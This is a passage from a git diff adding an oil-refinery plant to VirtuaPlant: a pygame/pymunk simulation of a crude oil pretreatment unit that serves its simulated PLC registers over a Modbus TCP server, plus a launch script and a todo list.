"-i" argument to receive a filename +parser.add_argument("-t", action = "store", dest="server_addr", + help = "Modbus server IP address to listen on") + +# Print help if no args are supplied +if len(sys.argv)==1: + parser.print_help() + sys.exit(1) + +# Split and process arguments into "args" +args = parser.parse_args() + +logging.basicConfig() +log = logging.getLogger() +log.setLevel(logging.INFO) + +# Display settings +SCREEN_WIDTH = 580 +SCREEN_HEIGHT = 460 +FPS=50.0 + +# Port the world will listen on +MODBUS_SERVER_PORT=5020 + +# Amount of oil spilled/processed +oil_spilled_amount = 0 +oil_processed_amount = 0 + +# PLC Register values for various control functions +PLC_FEED_PUMP = 0x01 +PLC_TANK_LEVEL = 0x02 +PLC_OUTLET_VALVE = 0x03 +PLC_SEP_VALVE = 0x04 +PLC_OIL_SPILL = 0x06 +PLC_OIL_PROCESSED = 0x07 +PLC_WASTE_VALVE = 0x08 +PLC_OIL_UPPER = 0x09 + +# Collision types +tank_level_collision = 0x4 +ball_collision = 0x5 +outlet_valve_collision = 0x6 +sep_valve_collision = 0x7 +waste_valve_collision = 0x8 +oil_spill_collision = 0x9 +oil_processed_collision = 0x3 + +# Helper function to set PLC values +def PLCSetTag(addr, value): + context[0x0].setValues(3, addr, [value]) + +# Helper function that returns PLC values +def PLCGetTag(addr): + return context[0x0].getValues(3, addr, count=1)[0] + +def to_pygame(p): + """Small hack to convert pymunk to pygame coordinates""" + return int(p.x), int(-p.y+600) + +# Add "oil" to the world space +def add_ball(space): + mass = 0.01 + radius = 2 + inertia = pymunk.moment_for_circle(mass, 0, radius, (0,0)) + body = pymunk.Body(mass, inertia) + body._bodycontents.v_limit = 120 + body._bodycontents.h_limit = 1 + x = random.randint(69, 70) + body.position = x, 565 + shape = pymunk.Circle(body, radius, (0,0)) + shape.friction = 0.0 + shape.collision_type = ball_collision #liquid + space.add(body, shape) + return shape + +# Add a ball to the space +def draw_ball(screen, ball, color=THECOLORS['brown']): + p = int(ball.body.position.x), 600-int(ball.body.position.y) + pygame.draw.circle(screen, color, p, int(ball.radius), 2) + +# Add the separator vessel release +def sep_valve(space): + body = pymunk.Body() + body.position = (327, 218) + radius = 2 + a = (-15, 0) + b = (15, 0) + shape = pymunk.Segment(body, a, b, radius) + shape.collision_type = sep_valve_collision + space.add(shape) + return shape + +# Add the separator vessel release +def waste_valve(space): + body = pymunk.Body() + body.position = (225, 218) + radius = 2 + a = (-8, 0) + b = (9, 0) + shape = pymunk.Segment(body, a, b, radius) + shape.collision_type = waste_valve_collision + space.add(shape) + return shape + +# Add the tank level sensor +def tank_level_sensor(space): + body = pymunk.Body() + body.position = (115, 535) + radius = 3 + a = (0, 0) + b = (0, 0) + shape = pymunk.Circle(body, radius, (0, 0)) + shape.collision_type = tank_level_collision # tank_level + space.add(shape) + return shape + +# Outlet valve that lets oil from oil tank to the pipes +def outlet_valve(space): + body = pymunk.Body() + body.position = (70, 410) + # Check these coords and adjust + a = (-14, 0) + b = (14, 0) + radius = 2 + shape = pymunk.Segment(body, a, b, radius) + shape.collision_type = outlet_valve_collision + space.add(shape) + return shape + +# Sensor at the bottom of the world that detects and counts spills +def oil_spill_sensor(space): + body = pymunk.Body() + body.position = (0, 100) + radius = 7 + a = (0, 75) + b = (137, 75) + shape = pymunk.Segment(body, a, b, radius) + shape.collision_type = oil_spill_collision # oil spill sensor + space.add(shape) + return shape + +# Sensor at the bottom of the world that detects and counts spills +def oil_processed_sensor(space): + body = pymunk.Body() + body.position = (327, 218) + radius = 7 + a = (-12, -5) + b = (12, -5) + shape = pymunk.Segment(body, a, b, radius) + shape.collision_type = oil_processed_collision # oil processed sensor + space.add(shape) + return shape + +# Feed pump that the oil comes out of +def add_pump(space): + body = pymunk.Body() + body.position = (70, 585) + shape = pymunk.Poly.create_box(body, (15, 20), (0, 0), 0) + space.add(shape) + return shape + +# Draw the various "pipes" that the oil flows through +# TODO: Get rid of magic numbers and add constants + offsets +def add_oil_unit(space): + body = pymunk.Body() + body.position = (300,300) + + #oil storage unit + l1 = pymunk.Segment(body, (-278, 250), (-278, 145), 1) #left side line + l2 = pymunk.Segment(body, (-278, 145), (-246, 107), 1) + l3 = pymunk.Segment(body, (-180, 250), (-180, 145), 1) #right side line + l4 = pymunk.Segment(body, (-180, 145), (-215, 107), 1) + + #pipe to separator vessel + l5 = pymunk.Segment(body, (-246, 107), (-246, 53), 1) #left side vertical line + l6 = pymunk.Segment(body, (-246, 53), (-19, 53), 1) #bottom horizontal line + l7 = pymunk.Segment(body, (-19, 53), (-19, 33), 1) + l8 = pymunk.Segment(body, (-215, 107), (-215, 80), 1) #right side vertical line + l9 = pymunk.Segment(body, (-215, 80), (7, 80), 1) #top horizontal line + l10 = pymunk.Segment(body, (7, 80), (7, 33), 1) + + #separator vessel + l11 = pymunk.Segment(body, (-19, 31), (-95, 31), 1) #top left horizontal line + l12 = pymunk.Segment(body, (-95, 31), (-95, -23), 1) #left side vertical line + l13 = pymunk.Segment(body, (-95, -23), (-83, -23), 1) + l14 = pymunk.Segment(body, (-83, -23), (-80, -80), 1) #left waste exit line + l15 = pymunk.Segment(body, (-68, -80), (-65, -23), 1) #right waste exit line + l16 = pymunk.Segment(body, (-65, -23), (-45, -23), 1) + l17 = pymunk.Segment(body, (-45, -23), (-45, -67), 1) #elevation vertical line + l18 = pymunk.Segment(body, (-45, -67), (13, -67), 1) #left bottom line + l19 = pymunk.Segment(body, (13, -67), (13, -82), 1) #left side separator exit line + l20 = pymunk.Segment(body, (43, -82), (43, -67), 1) #right side separator exit line + l21 = pymunk.Segment(body, (43, -67), (65, -62), 1) #rigt side diagonal line + l22 = pymunk.Segment(body, (65, -62), (77, 31), 1) #right vertical line + l23 = pymunk.Segment(body, (77, 31), (7, 31), 1) #top right horizontal line + l24 = pymunk.Segment(body, (-3, -67), (-3, 10), 3) #center separator line + l35 = pymunk.Segment(body, (-3, 10), (-65, -23), 1) + + #separator exit pipe + l25 = pymunk.Segment(body, (43, -85), (43, -113), 1) #right side vertical line + l26 = pymunk.Segment(body, (43, -113), (580, -113), 1) #top horizontal line + l27 = pymunk.Segment(body, (13, -85), (13, -140), 1) #left vertical line + l28 = pymunk.Segment(body, (13, -140), (580, -140), 1) #bottom horizontal line + + #waste water pipe + l29 = pymunk.Segment(body, (-87, -85), (-87, -112), 1) #left side waste line + l30 = pymunk.Segment(body, (-60, -85), (-60, -140), 1) #right side waste line + l31 = pymunk.Segment(body, (-87, -112), (-163, -112), 1) #top horizontal line + l32 = pymunk.Segment(body, (-60, -140), (-134, -140), 1) #bottom horizontal line + l33 = pymunk.Segment(body, (-163, -112), (-163, -185), 1) #left side vertical line + l34 = pymunk.Segment(body, (-134, -140), (-134, -185), 1) #right side vertical line + + space.add(l1, l2, l3, l4, l5, l6, l7, l8, l9, l10, l11, l12, l13, l14, l15, + l16, l17, l18, l19, l20, l21, l22, l23, l24, l25, + l26, l27, l28, l29, l30, l31, l32, l33, l34, l35) # 3 + + return (l1,l2,l3,l4,l5,l6,l7,l8,l9,l10,l11,l12,l13,l14,l15,l16,l17, + l18,l19,l20,l21,l22,l23,l24,l25,l26,l27,l28,l29,l30, + l31,l32,l33,l34,l35) + +# Draw a defined polygon +def draw_polygon(bg, shape): + points = shape.get_vertices() + fpoints = [] + for p in points: + fpoints.append(to_pygame(p)) + pygame.draw.polygon(bg, THECOLORS['black'], fpoints) + +# Draw a single line to the screen +def draw_line(screen, line, color = None): + body = line.body + pv1 = body.position + line.a.rotated(body.angle) # 1 + pv2 = body.position + line.b.rotated(body.angle) + p1 = to_pygame(pv1) # 2 + p2 = to_pygame(pv2) + if color is None: + pygame.draw.lines(screen, THECOLORS["black"], False, [p1,p2]) + else: + pygame.draw.lines(screen, color, False, [p1,p2]) + +# Draw lines from an iterable list +def draw_lines(screen, lines): + for line in lines: + body = line.body + pv1 = body.position + line.a.rotated(body.angle) # 1 + pv2 = body.position + line.b.rotated(body.angle) + p1 = to_pygame(pv1) # 2 + p2 = to_pygame(pv2) + pygame.draw.lines(screen, THECOLORS["gray"], False, [p1,p2]) + +# Default collision function for objects +# Returning true makes the two objects collide normally just like "walls/pipes" +def no_collision(space, arbiter, *args, **kwargs): + return True + +# Called when level sensor in tank is hit +def level_reached(space, arbiter, *args, **kwargs): + log.debug("Level reached") + PLCSetTag(PLC_TANK_LEVEL, 1) # Level Sensor Hit, Tank full + PLCSetTag(PLC_FEED_PUMP, 0) # Turn off the pump + return False + +def oil_spilled(space, arbiter, *args, **kwargs): + global oil_spilled_amount + log.debug("Oil Spilled") + oil_spilled_amount = oil_spilled_amount + 1 + PLCSetTag(PLC_OIL_SPILL, oil_spilled_amount) # We lost a unit of oil + PLCSetTag(PLC_FEED_PUMP, 0) # Attempt to shut off the pump + return False + +def oil_processed(space, arbiter, *args, **kwargs): + global oil_processed_amount + log.debug("Oil Processed") + oil_processed_amount = oil_processed_amount + 1 + if oil_processed_amount >= 65000: + PLCSetTag(PLC_OIL_PROCESSED, 65000) # We processed a unit of oil + PLCSetTag(PLC_OIL_UPPER, oil_processed_amount-65000) # We processed a unit of oil + else: + PLCSetTag(PLC_OIL_PROCESSED, oil_processed_amount) # We processed a unit of oil + return False + +# This is on when separation is on +def sep_open(space, arbiter, *args, **kwargs): + log.debug("Begin separation") + return False + +# This fires when the separator is not processing +def sep_closed(space, arbiter, *args, **kwargs): + log.debug("Stop separation") + return True + +def outlet_valve_open(space, arbiter, *args, **kwargs): + log.debug("Outlet valve open") + return False + +def outlet_valve_closed(space, arbiter, *args, **kwargs): + log.debug("Outlet valve close") + return True + +def waste_valve_open(space, arbiter, *args, **kwargs): + log.debug("Waste valve open") + return False + +def waste_valve_closed(space, arbiter, *args, **kwargs): + log.debug("Waste valve close") + return True + +def run_world(): + pygame.init() + screen = pygame.display.set_mode((SCREEN_WIDTH, SCREEN_HEIGHT)) + pygame.display.set_caption("Crude Oil Pretreatment Unit") + clock = pygame.time.Clock() + running = True + + + # Create game space (world) and set gravity to normal + space = pymunk.Space() #2 + space.gravity = (0.0, -900.0) + + # When oil collides with tank_level, call level_reached + space.add_collision_handler(tank_level_collision, ball_collision, begin=level_reached) + # When oil touches the oil_spill marker, call oil_spilled + space.add_collision_handler(oil_spill_collision, ball_collision, begin=oil_spilled) + # When oil touches the oil_process marker, call oil_processed + space.add_collision_handler(oil_processed_collision, ball_collision, begin=oil_processed) + # Initial outlet valve condition is turned off + space.add_collision_handler(outlet_valve_collision, ball_collision, begin=no_collision) + # Initial sep valve condition is turned off + space.add_collision_handler(sep_valve_collision, ball_collision, begin=no_collision) + # Initial waste valve condition is turned off + space.add_collision_handler(waste_valve_collision, ball_collision, begin=no_collision) + + # Add the objects to the game world + pump = add_pump(space) + lines = add_oil_unit(space) + tank_level = tank_level_sensor(space) + sep_valve_obj = sep_valve(space) + oil_spill = oil_spill_sensor(space) + oil_process = oil_processed_sensor(space) + outlet = outlet_valve(space) + waste_valve_obj = waste_valve(space) + + + balls = [] + ticks_to_next_ball = 1 + + # Set font settings + fontBig = pygame.font.SysFont(None, 40) + fontMedium = pygame.font.SysFont(None, 26) + fontSmall = pygame.font.SysFont(None, 18) + + while running: + # Advance the game clock + clock.tick(FPS) + + for event in pygame.event.get(): + if event.type == QUIT: + running = False + elif event.type == KEYDOWN and event.key == K_ESCAPE: + running = False + + # Load the background picture for the pipe images + bg = pygame.image.load("oil_unit.png") + # Background color + screen.fill(THECOLORS["grey"]) + + # If the feed pump is on + if PLCGetTag(PLC_FEED_PUMP) == 1: + # Draw the valve if the pump is on + # If the oil reaches the level sensor at the top of the tank + if (PLCGetTag(PLC_TANK_LEVEL) == 1): + PLCSetTag(PLC_FEED_PUMP, 0) + + # Oil Tank outlet valve open/closed collision handler + if PLCGetTag(PLC_OUTLET_VALVE) == 1: + space.add_collision_handler(outlet_valve_collision, ball_collision, begin=outlet_valve_open) + elif PLCGetTag(PLC_OUTLET_VALVE) == 0: # Valve is closed + space.add_collision_handler(outlet_valve_collision, ball_collision, begin=outlet_valve_closed) + + # Separator valve open/closed collision handler + if PLCGetTag(PLC_SEP_VALVE) == 1: + space.add_collision_handler(sep_valve_collision, ball_collision, begin=sep_open) + else: + space.add_collision_handler(sep_valve_collision, ball_collision, begin=sep_closed) + + # Waste water valve open/closed collision handler + if PLCGetTag(PLC_WASTE_VALVE) == 1: + space.add_collision_handler(waste_valve_collision, ball_collision, begin=waste_valve_open) + else: + space.add_collision_handler(waste_valve_collision, ball_collision, begin=waste_valve_closed) + + + ticks_to_next_ball -= 1 + + if ticks_to_next_ball <= 0 and PLCGetTag(PLC_FEED_PUMP) == 1: + ticks_to_next_ball = 1 + ball_shape = add_ball(space) + balls.append(ball_shape) + + balls_to_remove = [] + for ball in balls: + if ball.body.position.y < 0 or ball.body.position.x > SCREEN_WIDTH+150: + balls_to_remove.append(ball) + + draw_ball(bg, ball) + + for ball in balls_to_remove: + space.remove(ball, ball.body) + balls.remove(ball) + + draw_polygon(bg, pump) + draw_lines(bg, lines) + draw_ball(bg, tank_level, THECOLORS['black']) + draw_line(bg, sep_valve_obj) + draw_line(bg, outlet) + draw_line(bg, waste_valve_obj) + draw_line(bg, oil_spill, THECOLORS['red']) + draw_line(bg, oil_process, THECOLORS['red']) + + #draw_ball(screen, separator_feed, THECOLORS['red']) + title = fontMedium.render(str("Crude Oil Pretreatment Unit"), 1, THECOLORS['blue']) + name = fontBig.render(str("VirtuaPlant"), 1, THECOLORS['gray20']) + instructions = fontSmall.render(str("(press ESC to quit)"), 1, THECOLORS['gray']) + feed_pump_label = fontMedium.render(str("Feed Pump"), 1, THECOLORS['blue']) + oil_storage_label = fontMedium.render(str("Oil Storage Unit"), 1, THECOLORS['blue']) + separator_label = fontMedium.render(str("Separator Vessel"), 1, THECOLORS['blue']) + waste_water_label = fontMedium.render(str("Waste Water Treatment Unit"), 1, THECOLORS['blue']) + tank_sensor = fontSmall.render(str("Tank Level Sensor"), 1, THECOLORS['blue']) + separator_release = fontSmall.render(str("Separator Vessel Valve"), 1, THECOLORS['blue']) + waste_sensor = fontSmall.render(str("Waste Water Valve"), 1, THECOLORS['blue']) + outlet_sensor = fontSmall.render(str("Outlet Valve"), 1, THECOLORS['blue']) + + bg.blit(title, (300, 40)) + bg.blit(name, (347, 10)) + bg.blit(instructions, (SCREEN_WIDTH-115, 0)) + bg.blit(feed_pump_label, (80, 0)) + bg.blit(oil_storage_label, (125, 100)) + bg.blit(separator_label, (385,275)) + screen.blit(waste_water_label, (265, 490)) + bg.blit(tank_sensor, (125, 50)) + bg.blit(outlet_sensor, (90, 195)) + bg.blit(separator_release, (350, 375)) + bg.blit(waste_sensor, (90, 375)) + screen.blit(bg, (0, 0)) + + space.step(1/FPS) + pygame.display.flip() + + if reactor.running: + reactor.callFromThread(reactor.stop) + +store = ModbusSlaveContext( + di = ModbusSequentialDataBlock(0, [0]*100), + co = ModbusSequentialDataBlock(0, [0]*100), + hr = ModbusSequentialDataBlock(0, [0]*100), + ir = ModbusSequentialDataBlock(0, [0]*100)) + +context = ModbusServerContext(slaves=store, single=True) + +# Modbus PLC server information +identity = ModbusDeviceIdentification() +identity.VendorName = 'Simmons Oil Refining Platform' +identity.ProductCode = 'SORP' +identity.VendorUrl = 'http://simmons.com/markets/oil-gas/pages/refining-industry.html' +identity.ProductName = 'SORP 3850' +identity.ModelName = 'Simmons ORP 3850' +identity.MajorMinorRevision = '2.09.01' + +def startModbusServer(): + # Run a modbus server on specified address and modbus port (5020) + StartTcpServer(context, identity=identity, address=(args.server_addr, MODBUS_SERVER_PORT)) + +def main(): + reactor.callInThread(run_world) + startModbusServer() + +if __name__ == '__main__': + sys.exit(main()) diff --git a/plants/oil-refinery/start.sh b/plants/oil-refinery/start.sh new file mode 100755 index 0000000..125e37c --- /dev/null +++ b/plants/oil-refinery/start.sh @@ -0,0 +1,7 @@ +#!/bin/sh + +echo "VirtuaPlant -- Bottle-filling Factory" +echo "- Starting World View" +./oil_world.py -t localhost & +echo "- Starting HMI" +./oil_hmi.py -t localhost & diff --git a/plants/oil-refinery/todo.txt b/plants/oil-refinery/todo.txt new file mode 100644 index 0000000..e29d969 --- /dev/null +++ b/plants/oil-refinery/todo.txt @@ -0,0 +1,14 @@ +TODO list +- Add more mini-game aspect to it + - Show amount of oil successfully processed, + - Show amount of oil lost due to overflow + - Show amount of oil successfully shipped + - Show oil shipments missed due to lack of oil processed + +- Make it prettier/more graphical +- Add background image + +- Oil Spilled/Processed + - Add sensors in processing pipes + - Add sensor at bottom of world/above level sensor + \ No newline at end of file